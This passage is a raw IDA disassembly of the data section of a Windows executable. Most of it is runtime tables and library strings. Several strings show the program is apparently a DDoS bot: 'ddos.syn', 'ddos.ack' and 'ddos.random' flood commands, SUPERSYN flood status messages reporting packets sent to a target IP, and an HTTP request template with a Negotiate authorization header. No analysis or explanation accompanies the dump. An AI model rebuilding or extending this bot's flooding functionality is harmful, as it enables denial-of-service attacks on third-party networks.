		dd 2590000h, 2590143h, 25A0000h, 25A0753h, 25B0000h, 25B0B5Eh
		dd 25C0000h, 25C03FAh, 25C0445h, 25C08F1h, 25D0000h, 25E0000h
		dd 25E0761h, 25F0000h, 25F0256h
dword_42403C	dd 25F0274h		; DATA XREF: ___:0041F496r
		dd 25F032Fh, 25F05B8h, 25F05DDh, 25F0696h, 25F08FBh, 25F0962h
dword_424058	dd 2600000h		; DATA XREF: sub_40144A+1A6r
					; sub_401D82+3Dr ...
		dd 2600098h, 2600448h
dword_424064	dd 260086Bh		; DATA XREF: sub_40797F+D1r
					; sub_40D3A5+29r
		dd 260090Eh, 2610000h
dword_424070	dd 2620000h		; DATA XREF: sub_40DC82+Fr
					; sub_4199B9+54r ...
dword_424074	dd 262109Ch		; DATA XREF: sub_4168E7+Br
dword_424078	dd 26217F0h		; DATA XREF: ___:00404E30r
					; sub_40AB7C+67r ...
		dd 2630000h, 2640000h
dword_424084	dd 2640764h		; DATA XREF: sub_40AB7C+36r
		dd 26409E5h
dword_42408C	dd 2640A83h		; DATA XREF: sub_4168E7:loc_416978r
		dd 2640AB0h, 2650000h, 2660000h, 2670000h
dword_4240A0	dd 2670CCFh		; DATA XREF: sub_4165C4+32r
		dd 2680000h, 2680391h, 2680456h, 2690000h, 269054Ch, 26A0000h
dword_4240BC	dd 26B0000h		; DATA XREF: sub_408EE5+26r
		dd 26C0000h, 77F7E300h,	77F7E21Fh, 26C0C05h, 26D0000h
		dd 26D07D8h
dword_4240D8	dd 26E0000h		; DATA XREF: sub_409037+BCr
dword_4240DC	dd 26E064Fh		; DATA XREF: sub_409037+60r
					; sub_40981F+11r ...
dword_4240E0	dd 26F0000h		; DATA XREF: sub_40981F:loc_409D0Fr
		dd 26F0264h
dword_4240E8	dd 2700000h		; DATA XREF: sub_409209+21r
					; sub_409392+4Ar
dword_4240EC	dd 2700B5Bh		; DATA XREF: sub_409209+10r
					; sub_409392+40r ...
		dd 2700BA9h
dword_4240F4	dd 2710000h		; DATA XREF: sub_409392+56r
		dd 27102A5h, 2710724h
dword_424100	dd 2710C80h		; DATA XREF: sub_40981F+2r
		dd 2720000h, 2730000h, 27305D4h, 2730AB2h, 2740000h, 2740647h
		dd 2750000h, 2750531h, 2760000h, 2770000h, 2770133h, 2780000h
		dd 27804C8h, 27808D9h
dword_42413C	dd 2780E84h		; DATA XREF: sub_40B56C+79r
					; sub_41680E+3Ar
dword_424140	dd 2790000h		; DATA XREF: sub_40B56C+3Br
					; sub_416715+23r
		dd 279136Ch, 27A0000h, 77E75CB5h
dword_424150	dd 27B0000h		; DATA XREF: sub_40DBB0+13r
					; ___:0041F50Br ...
		dd 27C0000h, 27C0CA1h, 27C0D4Bh
dword_424160	dd 27D0000h		; DATA XREF: ___:loc_40E864r
		dd 27D034Eh
dword_424168	dd 27D09C8h		; DATA XREF: sub_4165C4:loc_4166B0r
		dd 27D0B89h, 27D0C34h, 27E0000h, 27E02A3h, 27E0839h, 27E0B95h
		dd 27E0C25h, 27F0000h, 2800000h, 2810000h, 2820000h, 2830000h
		dd 2831A8Ch, 2831AAAh, 2840000h, 2840DA7h, 2850000h
dword_4241B0	dd 285067Bh		; DATA XREF: sub_41ADB4+240r
dword_4241B4	dd 285082Eh		; DATA XREF: sub_41B888:loc_41B8B9r
		dd 28509BCh, 2860000h, 2860551h, 2870000h, 2880000h, 2881220h
		dd 2881851h, 0
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0ACh, 0B2h, 71h
		align 10h
		dd 71AB41DAh, 71AB3F8Dh, 71AB3ECEh, 71AB5DE2h, 71AB868Dh
		dd 71AB8629h, 71AB2BBFh, 71AB12F8h, 71AB1836h
dword_424204	dd 71AB5690h		; DATA XREF: sub_404F9A+6Ar
dword_424208	dd 71AB1AF4h		; DATA XREF: sub_4053D5+E4r
		db 90h
		db 18h,	0ABh, 71h
		dd 71AB1B7Bh, 71AB3C22h, 71AB155Ah, 71AB3E5Dh, 71AB1A6Dh
		dd 71AB1746h, 2	dup(0)
aGetHttp1_0Host	db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_4041D4+62o
		db 'Host: %s',0Dh,0Ah
		db 'Authorization: Negotiate %s',0Dh,0Ah
		db 0Dh,0Ah,0
		align 10h
dbl_424270	dq 1.388888888888889e-2	; DATA XREF: sub_403FE6+2Fr
dbl_424278	dq 1.666666666666667e-1	; DATA XREF: sub_403FE6+15r
dword_424280	dd 0FFFFFFFFh		; DATA XREF: sub_404032+16Fr
					; sub_404464r ...
		align 8
dbl_424288	dq 1.333333333333333	; DATA XREF: sub_404032+79r
dword_424290	dd 0			; DATA XREF: sub_4041D4+4Do
					; sub_404514+5Bo ...
flt_424294	dd 5.0e-1		; DATA XREF: ___:00404CE7r
dword_424298	dd 0			; DATA XREF: sub_40C21E+26r
		dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
		dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h,	0E0D5E91Eh
		dd 97D2D988h, 9B64C2Bh,	7EB17CBDh, 0E7B82D07h, 90BF1D91h
		dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh,	1ADAD47Dh
		dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h,	646BA8C0h
		dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h,	0FA0F3D63h
		dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h,	0A2677172h
		dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
		dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
		dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
		dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
		dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
		dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
		dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
		dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh,	0E10E9818h
		dd 7F6A0DBBh, 86D3D2Dh,	91646C97h, 0E6635C01h, 6B6B51F4h
		dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh,	1B01A57Bh
		dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h,	8BBEB8EAh
		dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h,	0FBD44C65h
		dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
		dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
		dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
		dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
		dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
		dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
		dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
		dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
		dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h,	0E40ECF0Bh
		dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h,	8708A3D2h
		dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh,	196C3671h
		dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah,	67DD4ACCh
		dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h,	0D6D6A3E8h
		dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
		dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
		dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
		dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
		dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
		dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
		dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch,	26D930Ah
		dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
		dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh,	0E5D5BE0Dh
		dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h,	68DDB3F8h
		dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h,	18B74777h
		dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch,	8F659EFFh
		dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
		dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
		dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
		dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
		dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
		dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
		dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh
dbl_424698	dq 9.765625e-4		; DATA XREF: sub_40CAF1+2BDr
					; sub_40CAF1+2D8r ...
dbl_4246A0	dq -3.0517578125e-5	; DATA XREF: sub_41544E+1Er
dbl_4246A8	dq 1.0			; DATA XREF: sub_417CA4+6Cr
					; sub_417DEB+6Cr ...
		dd 0FFFFFFFFh, 419CBBh,	419CCFh
byte_4246BC	db 6			; DATA XREF: sub_419E38:loc_419E8Fr
		db 2 dup(0), 6
		dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
		dd 50h,	38282000h, 8075850h, 30303700h,	75057h,	8202000h
		dd 0
		dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h
		dd 8000008h, 7000800h, 8
aNull:					; DATA XREF: ___:off_43959Co
		unicode	0, <(null)>,0
		align 4
aNull_0		db '(null)',0           ; DATA XREF: ___:off_439598o
		align 10h
a__global_heap_	db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: ___:0041AC2Ao
		align 4
a__msvcrt_heap_	db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: ___:0041ABEBo
		align 10h
a_yn		db '_yn',0
a_y1		db '_y1',0
a_y0		db '_y0',0
aFrexp		db 'frexp',0
		align 4
aFmod		db 'fmod',0
		align 4
a_hypot		db '_hypot',0
		align 4
a_cabs		db '_cabs',0
		align 4
aLdexp		db 'ldexp',0
		align 4
aModf		db 'modf',0
		align 4
aFabs		db 'fabs',0
		align 4
aFloor		db 'floor',0
		align 4
aCeil		db 'ceil',0
		align 4
aTan		db 'tan',0
aCos		db 'cos',0
aSin		db 'sin',0
aSqrt		db 'sqrt',0
		align 4
aAtan2		db 'atan2',0
		align 10h
aAtan		db 'atan',0
		align 4
aAcos		db 'acos',0
		align 10h
aAsin		db 'asin',0
		align 4
aTanh		db 'tanh',0
		align 10h
aCosh		db 'cosh',0
		align 4
aSinh		db 'sinh',0
		align 10h
aLog10		db 'log10',0
		align 4
aLog		db 'log',0
aPow		db 'pow',0
aExp		db 'exp',0              ; DATA XREF: ___:off_43B7ECo
		align 8
dbl_424818	dq 0.0			; DATA XREF: sub_41C2F3+8Cr
					; sub_41C2F3+ACr ...
dbl_424820	dq 4.195835e6		; DATA XREF: sub_41C808+Fr
dbl_424828	dq 3.145727e6		; DATA XREF: sub_41C808+6r
aIsprocessorfea	db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_41C846+Fo
		align 4
aKernel32	db 'KERNEL32',0         ; DATA XREF: sub_41C846o
		align 4
aE000		db 'e+000',0            ; DATA XREF: sub_41C96D+93o
		align 10h
dword_424860	dd 0FFFFFFFFh, 41D058h,	41D062h, 0 ; DATA XREF:	sub_41CFF1+5o
dword_424870	dd 0FFFFFFFFh, 0	; DATA XREF: sub_41D120+5o
		dd offset loc_41D1DE
		align 10h
		dd offset sub_41D1BC
		dd offset sub_41D1C6
dword_424888	dd 0FFFFFFFFh, 41D40Eh,	41D412h, 0 ; DATA XREF:	sub_41D256+5o
dword_424898	dd 0FFFFFFFFh, 41D470h,	41D479h, 0 ; DATA XREF:	sub_41D41A+5o
dword_4248A8	dd 0FFFFFFFFh, 0	; DATA XREF: sub_41D4FC+5o
		dd offset loc_41D54D
		align 8
		dd offset loc_41D539
		dd offset loc_41D53D
dword_4248C0	dd 0FFFFFFFFh, 0	; DATA XREF: sub_41D552+5o
		dd offset loc_41D5A3
		align 10h
		dd offset loc_41D58F
		dd offset loc_41D593
dword_4248D8	dd 2 dup(0)		; DATA XREF: sub_41E709+36o
					; sub_41FB63+39o ...
dword_4248E0	dd 0FFFFFFFFh, 41E819h,	41E81Dh, 0FFFFFFFFh, 41E8CDh, 41E8D1h
					; DATA XREF: sub_41E709+5o
		dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h
		dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0
		dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h
		dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h
		dd 65682065h, 0A0D7061h, 0
aR6027NotEnough	db 'R6027',0Dh,0Ah
		db '- not enough space for lowio initialization',0Dh,0Ah,0
		align 4
aR6026NotEnough	db 'R6026',0Dh,0Ah
		db '- not enough space for stdio initialization',0Dh,0Ah,0
		align 10h
aR6025PureVirtu	db 'R6025',0Dh,0Ah
		db '- pure virtual function call',0Dh,0Ah,0
		align 4
aR6024NotEnough	db 'R6024',0Dh,0Ah
		db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
		align 10h
aR6019UnableToO	db 'R6019',0Dh,0Ah
		db '- unable to open console device',0Dh,0Ah,0
		align 4
aR6018Unexpecte	db 'R6018',0Dh,0Ah
		db '- unexpected heap error',0Dh,0Ah,0
		align 10h
aR6017Unexpecte	db 'R6017',0Dh,0Ah
		db '- unexpected multithread lock error',0Dh,0Ah,0
		align 10h
aR6016NotEnough	db 'R6016',0Dh,0Ah
		db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra	db 0Dh,0Ah
		db 'abnormal program termination',0Dh,0Ah,0
		align 10h
aR6009NotEnough	db 'R6009',0Dh,0Ah
		db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough	db 'R6008',0Dh,0Ah
		db '- not enough space for arguments',0Dh,0Ah,0
		align 4
aR6002FloatingP	db 'R6002',0Dh,0Ah      ; DATA XREF: ___:off_43BC2Co
		db '- floating point not loaded',0Dh,0Ah,0
		align 10h
aMicrosoftVisua	db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_41F885+119o
		align 4
asc_424BA8	db 0Ah			; DATA XREF: sub_41F885+F1o
		db 0Ah,0
		align 4
aRuntimeErrorPr	db 'Runtime Error!',0Ah ; DATA XREF: sub_41F885+D3o
		db 0Ah
		db 'Program: ',0
		align 4
a___		db '...',0              ; DATA XREF: sub_41F885+BFo
aProgramNameUnk	db '<program name unknown>',0 ; DATA XREF: sub_41F885+7Do
		align 8
dword_424BE8	dd 0FFFFFFFFh, 41FC5Ch,	41FC60h	; DATA XREF: sub_41FB63+5o
aSunmontuewedth	db 'SunMonTueWedThuFriSat',0
		align 4
aJanfebmaraprma	db 'JanFebMarAprMayJunJulAugSepOctNovDec',0
		align 4
aTz		db 'TZ',0               ; DATA XREF: sub_42094E+Ao
		align 4
aGetlastactivep	db 'GetLastActivePopup',0 ; DATA XREF: sub_42105F+3Do
		align 4
aGetactivewindo	db 'GetActiveWindow',0  ; DATA XREF: sub_42105F+35o
aMessageboxa	db 'MessageBoxA',0      ; DATA XREF: sub_42105F+24o
a1Qnan		db '1#QNAN',0           ; DATA XREF: sub_4219A9:loc_421A9Eo
		align 10h
a1Inf		db '1#INF',0            ; DATA XREF: sub_4219A9+D8o
		align 4
a1Ind		db '1#IND',0            ; DATA XREF: sub_4219A9+C7o
		align 10h
a1Snan		db '1#SNAN',0           ; DATA XREF: sub_4219A9+ADo
		align 4
dword_424C88	dd 0FFFFFFFFh, 4223A1h,	4223A5h, 0FFFFFFFFh, 422410h, 422414h
					; DATA XREF: sub_4221EA+5o
		dd 424DC4h
off_424CA4	dd offset loc_4227D2	; DATA XREF: sub_4227AA+8o
					; sub_4227EE+2Co ...
		dd offset sub_4227C5
		dd offset sub_4229E6
		dd offset dword_424E10
off_424CB4	dd offset sub_42283C	; DATA XREF: sub_4227EE+3Ao
					; sub_422858o ...
		dd offset sub_4227C5
		dd offset loc_422A22
dword_424CC0	dd 0			; DATA XREF: sub_4227EE+16o
					; sub_4228C0+16o
aInvalidStringP	db 'invalid string position',0 ; DATA XREF: sub_422863+11o
		dd offset dword_424E5C
off_424CE0	dd offset sub_42294B	; DATA XREF: sub_422967o
					; sub_42298A+37o ...
		dd offset sub_4227C5
		dd offset loc_422A04
aStringTooLong	db 'string too long',0  ; DATA XREF: sub_42298A+11o
		dd offset dword_424EA0
off_424D00	dd offset loc_422AE7	; DATA XREF: sub_422AD2o
					; ___:off_43C34Co ...
		dd offset dword_424ED0
off_424D08	dd offset loc_422B03	; DATA XREF: sub_422B1F+8o
					; sub_422B5C+8o ...
		dd offset sub_422BBC
aUnknownExcepti	db 'Unknown exception',0 ; DATA XREF: sub_422BBC+7o
		align 8
dword_424D28	dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF:	sub_422BC9+Eo
		dd 3, 19930520h, 2 dup(0)
dword_424D48	dd 0FFFFFFFFh, 422D7Ah,	422D7Eh, 0FFFFFFFFh, 422DF7h, 422DFBh
					; DATA XREF: sub_422C78+5o
dword_424D60	dd 0FFFFFFFFh, 422FEFh,	422FF3h, 0FFFFFFFFh, 42304Ch, 423050h
					; DATA XREF: sub_422F03+5o
		dd 43C34Ch, 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
off_424D90	dd offset off_43C364	; DATA XREF: ___:00424DA8o
					; ___:00424DF4o ...
		dd 1, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_424D90
		dd offset dword_424D60+18h
dword_424DB0	dd 3 dup(0)		; DATA XREF: ___:00424DD4o
		dd 2, 424DA8h, 3 dup(0)
		dd offset off_43C364
		dd offset dword_424DB0+4
off_424DD8	dd offset off_43C384	; DATA XREF: ___:00424DF0o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_424DD8
		dd offset off_424D90
		dd offset dword_424D60+18h
dword_424DFC	dd 3 dup(0)		; DATA XREF: ___:00424E20o
		dd 3, 424DF0h
dword_424E10	dd 3 dup(0)		; DATA XREF: ___:00424CB0o
		dd offset off_43C384
		dd offset dword_424DFC+4
; ---------------------------------------------------------------------------


loc_424E24:				; DATA XREF: ___:00424E3Co
		movsb
		retn
; ---------------------------------------------------------------------------
		dw 43h
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset loc_424E24
		dd offset off_424D90
		dd offset dword_424D60+18h
		dd 3 dup(0)
		dd 3, 424E3Ch
dword_424E5C	dd 3 dup(0)		; DATA XREF: ___:00424CDCo
; ---------------------------------------------------------------------------
		movsb
		retn
; ---------------------------------------------------------------------------
		inc	ebx
		add	[esi+ecx*2+42h], cl


loc_424E6F:				; DATA XREF: ___:00424E88o
		add	al, cl
		retn
; ---------------------------------------------------------------------------
		dw 43h
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset loc_424E6F+1
dword_424E8C	dd 3 dup(0)		; DATA XREF: ___:00424EB0o
		dd 1, 424E88h
dword_424EA0	dd 3 dup(0)		; DATA XREF: ___:00424CFCo
		dd offset off_43C3C8
		dd offset dword_424E8C+4
		dd offset dword_424D60+18h
dword_424EB8	dd 4 dup(0)		; DATA XREF: ___:00424EE0o
		dd 1, 424EB4h
dword_424ED0	dd 3 dup(0)		; DATA XREF: ___:00424D04o
		dd offset off_43C34C
		dd offset dword_424EB8+8
		align 8
dword_424EE8	dd 19930520h, 2, 424F08h, 5 dup(0) ; DATA XREF:	___:loc_4230E7o
		dd 0FFFFFFFFh, 4230D0h,	0
		dd offset sub_4230C8
dword_424F18	dd 19930520h, 2, 424F38h, 5 dup(0) ; DATA XREF:	___:loc_423104o
		dd 0FFFFFFFFh, 4230F4h,	0
		dd offset loc_4230FC
dword_424F48	dd 19930520h, 2, 424F68h, 1, 424F78h, 3	dup(0) ; DATA XREF: ___:loc_423110o
		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 424F90h, 4	dup(0)
		dd offset loc_40477E
		dd 0FFFFFFFFh, 42311Ah
dword_424FA8	dd 19930520h, 1, 424FA0h, 5 dup(0) ; DATA XREF:	___:loc_423122o
		dd offset off_43C34C
		align 10h
		dd 0FFFFFFFFh, 0
		dd 0Ch,	422B5Ch, 0
		dd offset off_43C364
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	422908h, 0
		dd offset off_43C384
		align 8
		dd 0FFFFFFFFh, 0
dword_425010	dd 1Ch,	422972h, 3, 424FFCh, 424FE0h, 424FC4h ;	DATA XREF: ___:00425034o
dword_425028	dd 0			; DATA XREF: sub_422863+2Eo
					; sub_4229E6+4Bo
		dd offset sub_422858
		dd 0
		dd offset dword_425010+8
		dd 0FFFFFFFFh, 42312Ch
dword_425040	dd 19930520h, 1, 425038h, 4 dup(0) ; DATA XREF:	___:loc_423134o
		dd 0FFFFFFFFh, 42313Eh
dword_425064	dd 19930520h, 1, 42505Ch, 4 dup(0) ; DATA XREF:	___:loc_423146o
		dd 0FFFFFFFFh, 423150h
dword_425088	dd 19930520h, 1, 425080h, 5 dup(0) ; DATA XREF:	___:loc_423158o
; ---------------------------------------------------------------------------
		movsb
		retn
; ---------------------------------------------------------------------------
		dw 43h
		align 10h
		dd 0FFFFFFFFh, 0
dword_4250B8	dd 1Ch,	4229CEh, 3, 4250A4h, 424FE0h, 424FC4h ;	DATA XREF: ___:004250DCo
dword_4250D0	dd 0			; DATA XREF: sub_42298A+2Eo
					; sub_4229E6+2Do
		dd offset sub_422967
		dd 0
		dd offset dword_4250B8+8
		dd 0FFFFFFFFh, 423162h
dword_4250E8	dd 19930520h, 1, 4250E0h, 4 dup(0) ; DATA XREF:	___:loc_42316Ao
dword_425104	dd 2, 424FE0h, 424FC4h	; DATA XREF: ___:0042511Co
dword_425110	dd 0			; DATA XREF: sub_4229E6+Fo
		dd offset sub_4227AA
		dd 0
		dd offset dword_425104
		dd 5 dup(5509234h), 5 dup(62EC92C7h), 5	dup(631F95BBh)
		dd 7Ah dup(0)
		dd 631F95BBh, 0
		dd 5509234h, 12h dup(0)
		dd 62EC92C7h, 319h dup(0)
dword_426000	dd 0			; DATA XREF: ___:00419AD7o
		dd offset sub_4030CC
		dd offset sub_40482C
		dd offset sub_40484E
dword_426010	dd 0			; DATA XREF: ___:00419AD2o
dword_426014	dd 0			; DATA XREF: ___:00419AC8o
		dd offset sub_418682
		dd offset sub_41ECF1
		dd offset sub_41FA42
		dd offset dword_4208B4
dword_426028	dd 0			; DATA XREF: ___:loc_419AC3o
dword_42602C	dd 0			; DATA XREF: sub_419B07+65o
		dd offset sub_41FAE7
dword_426034	dd 0			; DATA XREF: sub_419B07:loc_419B67o
dword_426038	dd 0			; DATA XREF: sub_419B07+76o
		dd offset dword_4208B4+11h
dword_426040	dd 4 dup(0)		; DATA XREF: sub_419B07:loc_419B78o
unk_426050	db    2			; DATA XREF: sub_401000+5Eo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 2 dup(64h), 6Fh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDoneWithFloodI	db '  Done with flood (%iKB/sec).',0
		align 4
unk_426088	db    2			; DATA XREF: sub_4010B5+302o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 2 dup(64h), 6Fh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSendErrorD_	db '  Send error: <%d>.',0
		align 4
aDdos_random	db 'ddos.random',0      ; DATA XREF: sub_4010B5:loc_4011E1o
					; sub_40EE72+268Fo
aDdos_ack	db 'ddos.ack',0         ; DATA XREF: sub_4010B5:loc_4011C5o
					; sub_40EE72+2678o
		align 10h
aDdos_syn	db 'ddos.syn',0         ; DATA XREF: sub_4010B5+F1o
					; sub_40EE72+2661o
		align 4
unk_4260DC	db    2			; DATA XREF: sub_40144A+397o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDoneWithSFlood	db '  Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%d'
		db 'MB).',0
		align 4
unk_42613C	db    2			; DATA XREF: sub_40144A+307o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aErrorSendingPa	db '  Error sending packets to IP: %s. Packets sent: %d. Returned: <%'
		db 'd>.',0
		align 4
unk_42619C	db    2			; DATA XREF: sub_40144A+12Ao
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aInvalidTargetI	db '  Invalid target IP.',0
		align 4
unk_4261CC	db    2			; DATA XREF: sub_40144A+C2o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aErrorSetsockop	db '  Error: setsockopt() failed, returned: <%d>.',0
		align 4
unk_426214	db    2			; DATA XREF: sub_40144A:loc_401493o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aErrorSocketFai	db '  Error: socket() failed, returned: <%d>.',0
		align 4
aSupersynDoneWi	db '[SUPERSYN]: Done with flood (%iKB/sec)',0 ; DATA XREF: sub_401831+4Bo
		align 10h
dword_426280	dd 7A026E02h, 201F6D1Fh, 6E797328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_4019D7+4Bo
		dd 2BBBB02h
aDoneWithFloo_0	db '  Done with flood (%iKB/sec).',0
		align 4
dword_4262B8	dd 7A026E02h, 201F6D1Fh, 6E797328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_401A76+27Do
		dd 2BBBB02h
aSendErrorD__0	db '  Send error: <%d>.',0
dword_4262E4	dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_401D82+4EBo
		dd 2BBBB02h
aDoneWithSFlo_0	db '  Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%d'
		db 'MB).',0
		align 4
dword_426344	dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_401D82+44Fo
		dd 2BBBB02h
aErrorSending_0	db '  Error sending packets to IP: %s. Packets sent: %d. Returned: <%'
		db 'd>.',0
		align 4
aRandom		db 'random',0           ; DATA XREF: sub_401D82+312o
					; sub_40EE72+2C3Co ...
		align 4
aAck		db 'ack',0              ; DATA XREF: sub_401D82+2F2o
					; sub_40EE72+2C25o
aSyn		db 'syn',0              ; DATA XREF: sub_401D82+2D2o
					; sub_40EE72+2C0Do
dword_4263B4	dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_401D82+15Fo
		dd 2BBBB02h
aInvalidTarge_0	db '  Invalid target IP.',0
		align 4
dword_4263E4	dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_401D82+EEo
		dd 2BBBB02h
aErrorSetsock_0	db '  Error: setsockopt() failed, returned: <%d>.',0
		align 4
